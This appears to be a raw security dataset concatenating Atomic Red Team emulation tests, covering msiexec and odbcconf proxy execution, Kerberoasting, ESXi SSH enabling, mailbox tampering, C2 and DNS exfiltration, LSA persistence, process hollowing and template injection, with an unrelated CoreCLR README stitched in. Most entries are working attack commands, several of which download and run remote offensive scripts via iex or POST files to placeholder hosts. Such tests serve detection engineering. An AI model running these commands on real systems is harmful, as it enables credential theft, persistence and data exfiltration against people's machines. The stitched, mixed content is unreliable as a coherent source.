deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1218.007: Signed Binary Proxy Execution: Msiexec
Test: WMI Win32_Product Class - Execute Local MSI file with embedded VBScript
Platforms: windows
Executor: powershell

Description:
Executes an MSI containing embedded VBScript code using the WMI Win32_Product class


Command:
Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }


Dependencies:
The MSI file must exist on disk at specified location (#{msi_payload})
Atomic Red Team — T1218.007: Signed Binary Proxy Execution: Msiexec
Test: WMI Win32_Product Class - Execute Local MSI file with an embedded DLL
Platforms: windows
Executor: powershell

Description:
Executes an MSI containing an embedded DLL using the WMI Win32_Product class


Command:
Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }


Dependencies:
The MSI file must exist on disk at specified location (#{msi_payload})
Atomic Red Team — T1218.007: Signed Binary Proxy Execution: Msiexec
Test: WMI Win32_Product Class - Execute Local MSI file with an embedded EXE
Platforms: windows
Executor: powershell

Description:
Executes an MSI containing an embedded EXE using the WMI Win32_Product class


Command:
Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }


Dependencies:
The MSI file must exist on disk at specified location (#{msi_payload})
Atomic Red Team — T1218.007: Signed Binary Proxy Execution: Msiexec
Test: Msiexec.exe - Execute the DllRegisterServer function of a DLL
Platforms: windows
Executor: command_prompt

Description:
Loads a DLL into msiexec.exe and calls its DllRegisterServer function. Note: the DLL included in the "bin" folder is only built for 64-bit, so this won't work on a 32-bit OS.


Command:
#{msi_exe} /y "#{dll_payload}"


Dependencies:
The DLL must exist on disk at specified location (#{dll_payload})
Atomic Red Team — T1218.007: Signed Binary Proxy Execution: Msiexec
Test: Msiexec.exe - Execute the DllUnregisterServer function of a DLL
Platforms: windows
Executor: command_prompt

Description:
Loads a DLL into msiexec.exe and calls its DllUnregisterServer function. Note: the DLL included in the "bin" folder is only built for 64-bit, so this won't work on a 32-bit OS.


Command:
#{msi_exe} /z "#{dll_payload}"


Dependencies:
The DLL must exist on disk at specified location (#{dll_payload})
Atomic Red Team — T1218.007: Signed Binary Proxy Execution: Msiexec
Test: Msiexec.exe - Execute Remote MSI file
Platforms: windows
Executor: command_prompt

Description:
Execute arbitrary MSI file retrieved remotely. Less commonly seen in application installation, commonly seen in malware execution. The MSI executes a built-in JScript payload that launches powershell.exe.


Command:
#{msi_exe} /q /i "#{msi_payload}"
Atomic Red Team — T1558.003: Steal or Forge Kerberos Tickets: Kerberoasting
Test: Request for service tickets
Platforms: windows
Executor: powershell

Description:
This test uses the Powershell Empire Module: Invoke-Kerberoast.ps1
The following are further sources and credits for this attack:
[Kerberoasting Without Mimikatz source] (https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/)
[Invoke-Kerberoast source] (https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/)
when executed successfully , the test displays available services with their hashes. 
If the testing domain doesn't have any service principal name configured, there is no output


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/EmpireProject/Empire/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/credentials/Invoke-Kerberoast.ps1 -UseBasicParsing)
Invoke-Kerberoast | fl


Dependencies:
Computer must be domain joined
Atomic Red Team — T1558.003: Steal or Forge Kerberos Tickets: Kerberoasting
Test: Rubeus kerberoast
Platforms: windows
Executor: powershell

Description:
Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast
This build targets .NET 4.5.  If targeting a different version you will need to compile Rubeus


Command:
klist purge
cmd.exe /c "#{local_folder}\#{local_executable}" kerberoast #{flags} /outfile:"#{local_folder}\#{out_file}"


Cleanup:
Remove-Item "#{local_folder}\#{out_file}" -ErrorAction Ignore


Dependencies:
Computer must be domain joined

Rubeus must exist
Atomic Red Team — T1558.003: Steal or Forge Kerberos Tickets: Kerberoasting
Test: Extract all accounts in use as SPN using setspn
Platforms: windows
Executor: command_prompt

Description:
The following test will utilize setspn to extract the Service Principal Names. This behavior is typically used during a kerberos or silver ticket attack. 
A successful execution will output all the SPNs for the related domain. 


Command:
setspn -T #{domain_name} -Q */*


Dependencies:
Computer must be domain joined
Atomic Red Team — T1558.003: Steal or Forge Kerberos Tickets: Kerberoasting
Test: Request A Single Ticket via PowerShell
Platforms: windows
Executor: powershell

Description:
The following test will utilize native PowerShell Identity modules to query the domain to extract the Service Principal Names for a single computer. This behavior is typically used during a kerberos or silver ticket attack. 
A successful execution will output the SPNs for the endpoint in question.


Command:
Add-Type -AssemblyName System.IdentityModel
$ComputerFQDN=$env:LogonServer.trimStart('\') + "." + $env:UserDnsDomain
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/$ComputerFQDN" 


Dependencies:
Computer must be domain joined
Atomic Red Team — T1558.003: Steal or Forge Kerberos Tickets: Kerberoasting
Test: Request All Tickets via PowerShell
Platforms: windows
Executor: powershell

Description:
The following test will utilize native PowerShell Identity modules to query the domain to extract allthe Service Principal Names. This behavior is typically used during a kerberos or silver ticket attack. 
A successful execution will output the SPNs for the domain in question.


Command:
Add-Type -AssemblyName System.IdentityModel  
setspn.exe -T #{domain_name} -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }  


Dependencies:
Computer must be domain joined
Atomic Red Team — T1558.003: Steal or Forge Kerberos Tickets: Kerberoasting
Test: WinPwn - Kerberoasting
Platforms: windows
Executor: powershell

Description:
Kerberoasting technique via function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Kerberoasting -consoleoutput -noninteractive
Atomic Red Team — T1558.003: Steal or Forge Kerberos Tickets: Kerberoasting
Test: WinPwn - PowerSharpPack - Kerberoasting Using Rubeus
Platforms: windows
Executor: powershell

Description:
PowerSharpPack - Kerberoasting Using Rubeus technique via function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')
Invoke-Rubeus -Command "kerberoast /format:hashcat /nowrap"
Atomic Red Team — T1021.004: Remote Services: SSH
Test: ESXi - Enable SSH via PowerCLI
Platforms: windows
Executor: powershell

Description:
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.


Command:
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false


Cleanup:
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Stop-VMHostService -Confirm:$false


Dependencies:
Check if VMWARE PowerCLI PowerShell Module is installed.
Atomic Red Team — T1021.004: Remote Services: SSH
Test: ESXi - Enable SSH via VIM-CMD
Platforms: windows
Executor: command_prompt

Description:
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface.
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)


Command:
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"


Cleanup:
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/disable_ssh"


Dependencies:
Check if we have plink
Atomic Red Team — T1070.008: Email Collection: Mailbox Manipulation
Test: Copy and Delete Mailbox Data on Windows
Platforms: windows
Executor: powershell

Description:
Copies and deletes mail data on Windows


Command:
New-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -ItemType Directory -ErrorAction Ignore
Get-ChildItem -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -Recurse -Force -ErrorAction Ignore }
Remove-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -Recurse -Force -ErrorAction Ignore


Cleanup:
Remove-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -Recurse -Force -ErrorAction Ignore
Atomic Red Team — T1070.008: Email Collection: Mailbox Manipulation
Test: Copy and Delete Mailbox Data on Linux
Platforms: linux
Executor: bash

Description:
Copies and deletes mail data on Linux


Command:
mkdir -p /var/spool/mail/copy && for file in /var/spool/mail/*; do if [ "$(basename "$file")" != "copy" ]; then cp -R "$file" /var/spool/mail/copy/; fi; done && rm -rf /var/spool/mail/copy/*


Cleanup:
rm -rf /var/spool/mail/copy
if [ -f "$(ls -A /var/spool/mail/temp)" ]; then rm /var/spool/mail/temp; fi


Dependencies:
Create dummy file in /var/spool/mail/ if no files exist
Atomic Red Team — T1070.008: Email Collection: Mailbox Manipulation
Test: Copy and Delete Mailbox Data on macOS
Platforms: macos
Executor: bash

Description:
Copies and deletes mail data on macOS


Command:
mkdir ~/Library/Mail/copy
cp -R ~/Library/Mail/* ~/Library/Mail/copy
rm -rf ~/Library/Mail/copy/*


Cleanup:
rm -rf ~/Library/Mail/copy
Atomic Red Team — T1070.008: Email Collection: Mailbox Manipulation
Test: Copy and Modify Mailbox Data on Windows
Platforms: windows
Executor: powershell

Description:
Copies and modifies mail data on Windows


Command:
New-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -ItemType Directory -ErrorAction Ignore
Get-ChildItem -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -Recurse -Force -ErrorAction Ignore }
Get-ChildItem -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -File | ForEach-Object { Add-Content -Path $_.FullName -Value "Modification for Atomic Red Test" -ErrorAction Ignore }


Cleanup:
Remove-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -Recurse -Force -ErrorAction Ignore
Atomic Red Team — T1070.008: Email Collection: Mailbox Manipulation
Test: Copy and Modify Mailbox Data on Linux
Platforms: linux
Executor: bash

Description:
Copies and modifies mail data on Linux


Command:
mkdir -p /var/spool/mail/copy; for file in /var/spool/mail/*; do if [ "$(basename "$file")" != "copy" ]; then cp -R "$file" /var/spool/mail/copy/; if [ -f "/var/spool/mail/copy/$(basename "$file")" ]; then echo "Modification for Atomic Red Test" >> "/var/spool/mail/copy/$(basename "$file")"; fi; fi; done


Cleanup:
rm -rf /var/spool/mail/copy
if [ -f "$(ls -A /var/spool/mail/temp)" ]; then rm /var/spool/mail/temp; fi


Dependencies:
Create dummy file in /var/spool/mail/ if no files exist
Atomic Red Team — T1070.008: Email Collection: Mailbox Manipulation
Test: Copy and Modify Mailbox Data on macOS
Platforms: macos
Executor: bash

Description:
Copies and modifies mail data on macOS


Command:
mkdir ~/Library/Mail/copy
cp -R ~/Library/Mail/* ~/Library/Mail/copy
echo "Manipulated data" > ~/Library/Mail/copy/manipulated.txt


Cleanup:
rm -rf ~/Library/Mail/copy
# T1041 - Exfiltration Over C2 Channel

## Description from ATT&CK

> Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.

[Source](https://attack.mitre.org/techniques/T1041)

## Atomic Tests

- [Atomic Test #1: C2 Data Exfiltration](#atomic-test-1-c2-data-exfiltration)
- [Atomic Test #2: Text Based Data Exfiltration using DNS subdomains](#atomic-test-2-text-based-data-exfiltration-using-dns-subdomains)

### Atomic Test #1: C2 Data Exfiltration

Exfiltrates a file present on the victim machine to the C2 server.

**Supported Platforms:** Windows

**auto_generated_guid:** `d1253f6e-c29b-49dc-b466-2147a6191932`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| destination_url | Destination URL to post encoded data. | string | example.com|
| filepath | The file which is being exfiltrated to the C2 Server. | path | $env:TEMP&#92;LineNumbers.txt|

#### Attack Commands: Run with `powershell`!

```powershell
if(-not (Test-Path #{filepath})){ 
  1..100 | ForEach-Object { Add-Content -Path #{filepath} -Value "This is line $_." }
}
[System.Net.ServicePointManager]::Expect100Continue = $false
$filecontent = Get-Content -Path #{filepath}
Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive
```

### Atomic Test #2: Text Based Data Exfiltration using DNS subdomains

Simulates an adversary using DNS tunneling to exfiltrate data over a Command and Control (C2) channel.

**Supported Platforms:** Windows

**auto_generated_guid:** `c9207f3e-213d-4cc7-ad2a-7697a7237df9`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| dns_server | DNS server IP address or domain name. | url | dns.example.com|
| exfiltrated_data | Data to be exfiltrated. | string | SecretDataToExfiltrate|
| chunk_size | Size of each DNS query chunk (in characters). | integer | 63|

#### Attack Commands: Run with `powershell`!

```powershell
$dnsServer = "#{dns_server}"
$exfiltratedData = "#{exfiltrated_data}"
$chunkSize = #{chunk_size}

$encodedData = [System.Text.Encoding]::UTF8.GetBytes($exfiltratedData)
$encodedData = [Convert]::ToBase64String($encodedData)
$chunks = $encodedData -split "(.{$chunkSize})"

foreach ($chunk in $chunks) {
    $dnsQuery = $chunk + "." + $dnsServer
    Resolve-DnsName -Name $dnsQuery
    Start-Sleep -Seconds 5
}
```
Atomic Red Team — T1041: Exfiltration Over C2 Channel
Test: C2 Data Exfiltration
Platforms: windows
Executor: powershell

Description:
Exfiltrates a file present on the victim machine to the C2 server.


Command:
if(-not (Test-Path #{filepath})){ 
  1..100 | ForEach-Object { Add-Content -Path #{filepath} -Value "This is line $_." }
}
[System.Net.ServicePointManager]::Expect100Continue = $false
$filecontent = Get-Content -Path #{filepath}
Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive
Atomic Red Team — T1041: Exfiltration Over C2 Channel
Test: Text Based Data Exfiltration using DNS subdomains
Platforms: windows
Executor: powershell

Description:
Simulates an adversary using DNS tunneling to exfiltrate data over a Command and Control (C2) channel.


Command:
$dnsServer = "#{dns_server}"
$exfiltratedData = "#{exfiltrated_data}"
$chunkSize = #{chunk_size}

$encodedData = [System.Text.Encoding]::UTF8.GetBytes($exfiltratedData)
$encodedData = [Convert]::ToBase64String($encodedData)
$chunks = $encodedData -split "(.{$chunkSize})"

foreach ($chunk in $chunks) {
    $dnsQuery = $chunk + "." + $dnsServer
    Resolve-DnsName -Name $dnsQuery
    Start-Sleep -Seconds 5
}
# T1547.002 - Authentication Package

## Description from ATT&CK

> Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)
> 
> Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\</code> with the key value of <code>"Authentication Packages"=&lt;target binary&gt;</code>. The binary will then be executed by the system when the authentication packages are loaded.

[Source](https://attack.mitre.org/techniques/T1547/002)

## Atomic Tests

- [Atomic Test #1: Authentication Package](#atomic-test-1-authentication-package)

### Atomic Test #1: Authentication Package

Establishes persistence using a custom authentication package for the Local Security Authority (LSA).
After a reboot, Notepad.exe will be executed as child process of lsass.exe.
Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.002/package
[Related blog](https://pentestlab.blog/2019/10/21/persistence-security-support-provider/)

**Supported Platforms:** Windows

**auto_generated_guid:** `be2590e8-4ac3-47ac-b4b5-945820f2fbe9`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Copy-Item "$PathToAtomicsFolder\T1547.002\bin\package.dll" C:\Windows\System32\
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0\0package.dll" /f
```

#### Cleanup Commands

```powershell
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0" /f
rm -force C:\windows\system32\package.dll
```
Atomic Red Team — T1547.002: Authentication Package
Test: Authentication Package
Platforms: windows
Executor: powershell

Description:
Establishes persistence using a custom authentication package for the Local Security Authority (LSA).
After a reboot, Notepad.exe will be executed as child process of lsass.exe.
Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.002/package
[Related blog](https://pentestlab.blog/2019/10/21/persistence-security-support-provider/)


Command:
Copy-Item "$PathToAtomicsFolder\T1547.002\bin\package.dll" C:\Windows\System32\
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0\0package.dll" /f


Cleanup:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0" /f
rm -force C:\windows\system32\package.dll
Atomic Red Team — T1055.012: Process Injection: Process Hollowing
Test: Process Hollowing using PowerShell
Platforms: windows
Executor: powershell

Description:
This test uses PowerShell to create a Hollow from a PE on disk with explorer as the parent.
Credit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1)


Command:
. "#{script_path}"
$ppid=Get-Process #{parent_process_name} | select -expand id
Start-Hollow -Sponsor "#{sponsor_binary_path}" -Hollow "#{hollow_binary_path}" -ParentPID $ppid -Verbose


Cleanup:
Stop-Process -Name "#{spawnto_process_name}" -ErrorAction Ignore


Dependencies:
Start-Hollow.ps1 must be installed
Atomic Red Team — T1055.012: Process Injection: Process Hollowing
Test: RunPE via VBA
Platforms: windows
Executor: powershell

Description:
This module executes notepad.exe from within the WINWORD.EXE process


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) 
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1055.012\src\T1055.012-macrocode.txt" -officeProduct "#{ms_product}" -sub "Exploit"


Dependencies:
Microsoft #{ms_product} must be installed
Atomic Red Team — T1055.012: Process Injection: Process Hollowing
Test: Process Hollowing in Go using CreateProcessW WinAPI
Platforms: windows
Executor: powershell

Description:
Creates a process in a suspended state, executes shellcode to spawn calc.exe in a child process, and then resumes the original process.
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocess)


Command:
$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcess.exe -program "#{hollow_binary_path}" -debug


Cleanup:
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue
Atomic Red Team — T1055.012: Process Injection: Process Hollowing
Test: Process Hollowing in Go using CreateProcessW and CreatePipe WinAPIs (T1055.012)
Platforms: windows
Executor: powershell

Description:
Create a process in a suspended state, execute shellcode to spawn calc.exe in a child process, and then resume the original process.
This test uses the CreatePipe function to create an anonymous pipe that parent and child processes can communicate over. This anonymous pipe
allows for the retrieval of output generated from executed shellcode.
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe)


Command:
$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcessWithPipe.exe -program "#{hollow_binary_path}" -debug


Cleanup:
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue
Atomic Red Team — T1218.008: Signed Binary Proxy Execution: Odbcconf
Test: Odbcconf.exe - Execute Arbitrary DLL
Platforms: windows
Executor: command_prompt

Description:
Execute arbitrary DLL file stored locally.


Command:
odbcconf.exe /S /A {REGSVR "#{dll_payload}"}


Dependencies:
T1218-2.dll must exist on disk at specified location (#{dll_payload})
Atomic Red Team — T1218.008: Signed Binary Proxy Execution: Odbcconf
Test: Odbcconf.exe - Load Response File
Platforms: windows
Executor: command_prompt

Description:
Execute arbitrary response file that will spawn PowerShell.exe.
Source files: https://github.com/woanware/application-restriction-bypasses


Command:
cd "#{rsp_file_path}"
odbcconf.exe -f "#{rsp_file_name}"


Dependencies:
T1218.008.rsp must exist on disk at specified location (#{rsp_file_path}#{rsp_file_name})
[.NET Core Runtime (CoreCLR)](https://github.com/3F/coreclr)
===========================

This repo contains the .NET Core runtime, called CoreCLR, and the base library, called mscorlib. It includes the garbage collector, JIT compiler, base .NET data types and many low-level classes.

Build Status
------------

                    | CI
--------------------| ----------------
Win.x86-x64.Release | [![Build status](https://ci.appveyor.com/api/projects/status/4gwh8k5wn62tk8iv/branch/master?svg=true)](https://ci.appveyor.com/project/3Fs/coreclr/branch/master)


License
-------

.NET Core (including the coreclr repo) is licensed under the [MIT license](LICENSE.TXT).
Atomic Red Team — T1221: Template Injection
Test: WINWORD Remote Template Injection
Platforms: windows
Executor: command_prompt

Description:
Open a .docx file that loads a remote .dotm macro enabled template from https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1221/src/opencalc.dotm 
Executes the code specified within the .dotm template.
Requires download of WINWORD found in Microsoft Ofiice at Microsoft: https://www.microsoft.com/en-us/download/office.aspx.  
Default docs file opens Calculator.exe when test sucessfully executed, while AV turned off.


Command:
start "#{docx_file}"